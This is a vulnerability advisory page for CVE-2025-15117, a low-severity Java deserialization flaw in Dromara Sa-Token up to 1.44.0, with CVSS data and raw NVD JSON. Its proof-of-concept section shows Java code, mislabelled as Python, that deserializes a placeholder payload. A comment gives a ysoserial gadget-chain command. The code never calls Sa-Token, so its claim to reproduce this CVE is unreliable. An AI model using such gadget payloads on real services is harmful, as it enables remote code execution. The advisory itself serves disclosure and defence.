Security Vulnerability Report
中文
CVE-2025-15117 CVSS 3.1 LOW

CVE-2025-15117

Published: 2025-12-28 03:15:42
Last Modified: 2026-04-15 00:35:42

Description

A weakness has been identified in Dromara Sa-Token up to 1.44.0. This affects the function ObjectInputStream.readObject of the file SaJdkSerializer.java. Executing manipulation can lead to deserialization. The attack may be launched remotely. This attack is characterized by high complexity. It is indicated that the exploitability is difficult. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Dromara Sa-Token <= 1.44.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import java.io.*; import java.util.Base64; /** * CVE-2025-15117 PoC - Dromara Sa-Token Deserialization Vulnerability * This PoC demonstrates the deserialization vulnerability in SaJdkSerializer.java * Target: Dromara Sa-Token <= 1.44.0 * * Note: This is for educational and testing purposes only */ public class Exploit { public static void main(String[] args) { try { // Generate malicious serialized object usingysoserial or similar tool // Example: java -jar ysoserial.jar CommonsCollections6 "calc" > payload.ser String maliciousPayload = "BASE64_ENCODED_SERIALIZED_PAYLOAD"; // Simulate sending malicious data to vulnerable endpoint byte[] serializedData = Base64.getDecoder().decode(maliciousPayload); // Vulnerable code path - direct deserialization of untrusted data ByteArrayInputStream bis = new ByteArrayInputStream(serializedData); ObjectInputStream ois = new ObjectInputStream(bis); Object obj = ois.readObject(); // This triggers the vulnerability System.out.println("Deserialized object: " + obj); ois.close(); } catch (Exception e) { System.out.println("Error occurred: " + e.getMessage()); e.printStackTrace(); } } } // Safe alternative - should use filtered ObjectInputStream class SafeSerializer { public static Object safeDeserialize(byte[] data) throws Exception { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data)) { @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { // Whitelist approach - only allow safe classes String className = desc.getName(); if (!isAllowedClass(className)) { throw new InvalidClassException("Unauthorized deserialization attempt: " + className); } return super.resolveClass(desc); } private boolean isAllowedClass(String className) { // Define whitelist of allowed classes return className.startsWith("com.dromara.satoken") || className.startsWith("java.lang") || className.startsWith("java.util"); } }; return ois.readObject(); } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15117", "sourceIdentifier": "[email protected]", "published": "2025-12-28T03:15:41.640", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in Dromara Sa-Token up to 1.44.0. This affects the function ObjectInputStream.readObject of the file SaJdkSerializer.java. Executing manipulation can lead to deserialization. The attack may be launched remotely. This attack is characterized by high complexity. It is indicated that the exploitability is difficult. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:S/C:N/I:N/A:P", "baseScore": 2.1, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "LOW", "exploitabilityScore": 3.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/Yohane-Mashiro/Sa-Token-cve", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.338495", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.338495", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.711750", "source": "[email protected]"}]}}